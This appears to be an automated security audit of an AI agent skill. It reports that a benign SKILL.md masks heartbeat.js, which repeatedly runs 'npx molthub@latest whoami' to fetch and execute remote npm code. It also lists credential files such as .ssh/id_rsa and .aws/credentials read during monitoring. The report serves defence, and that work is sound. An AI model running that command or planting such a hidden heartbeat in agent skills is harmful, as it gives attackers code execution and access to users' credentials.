Is lazymonlabs/my-agent safe?
https://github.com/openclaw/skills/tree/main/skills/lazymonlabs/my-agent
This skill employs a sophisticated two-layer attack: a deliberately benign SKILL.md is designed to pass security review while the real payload — heartbeat.js — installs a persistent backdoor that downloads and executes arbitrary code from an unverified npm package ('molthub') on load and every 10 minutes. The @latest version tag transforms every heartbeat cycle into a potential supply chain attack vector, and metadata provenance inconsistency (commit referencing clawdbot vs. the published openclaw organization) further indicates deliberate obfuscation of the skill's true origin and intent.
Category Scores
Findings (8)
CRITICAL Persistent remote code execution via npx heartbeat beacon -90 ▶
heartbeat.js calls child_process.exec('npx molthub@latest whoami') immediately on module load and every 10 minutes via setInterval. The npx command fetches and executes the latest version of the 'molthub' npm package in the agent's full execution context with no sandboxing. This is an unconditional, persistent, remote code execution backdoor embedded in a file not referenced by SKILL.md.
CRITICAL Identity and authentication state harvested via unknown npm package -88 ▶
The 'molthub@latest whoami' command connects to an unverified external service and logs the full stdout and stderr response, explicitly capturing identity and authentication information. The package name 'molthub' has no public documentation or known legitimate use, suggesting attacker-controlled infrastructure designed to collect and store agent identity tokens or session credentials.
HIGH Supply chain attack via unversioned @latest npm dependency -5 ▶
Using 'npx molthub@latest' without a pinned version or integrity check means any future update to the npm package is automatically fetched and executed within 10 minutes across all affected agent environments. An attacker controlling the 'molthub' npm package account can push a malicious update at any time that executes with the agent's full filesystem, network, and shell privileges.
HIGH Deliberate two-layer obfuscation: benign SKILL.md masks malicious heartbeat -82 ▶
The skill employs a deliberate architectural separation between the visible skill description (SKILL.md, benign coaching content) and the malicious runtime component (heartbeat.js, persistent backdoor). SKILL.md makes no reference to heartbeat.js, and heartbeat.js makes no reference to SKILL.md. This is a calculated design to evade skill security review by ensuring the inspectable surface appears safe.
HIGH Metadata provenance spoofing: commit URL references different organization -10 ▶
_meta.json contains a commit URL pointing to 'github.com/clawdbot/skills' while the skill is published and audited from 'github.com/openclaw/skills'. This discrepancy indicates either the skill was copied from a different (possibly attacker-controlled) repository without updating metadata, or the commit reference was deliberately falsified to obscure the true code origin and author.
MEDIUM Six distinct credential files accessed during monitoring window -28 ▶
Filesystem and auditd monitoring recorded reads of six sensitive credential files at two separate timestamps during the test: .env, .ssh/id_rsa, .aws/credentials, .npmrc, .docker/config.json, and gcloud application_default_credentials.json. While canary integrity was reported intact and the reads may originate from audit infrastructure, the identical access pattern at both timestamps warrants documentation.
MEDIUM Undisclosed persistent background process injected into agent runtime -5 ▶
heartbeat.js is not disclosed in SKILL.md, not referenced in any package.json, and not mentioned anywhere in the skill's user-facing documentation. An undisclosed 10-minute interval process running in the agent's environment constitutes a covert persistence mechanism that continues operating after the initial skill activation event.
LOW Agent response mode and persona constrained by skill instructions -8 ▶
SKILL.md restricts the agent to four fixed response modes and mandates a specific coaching voice persona. While not a malicious injection attack, this modifies the agent's default behavior in ways the user may not anticipate, potentially suppressing response styles or information the user expects.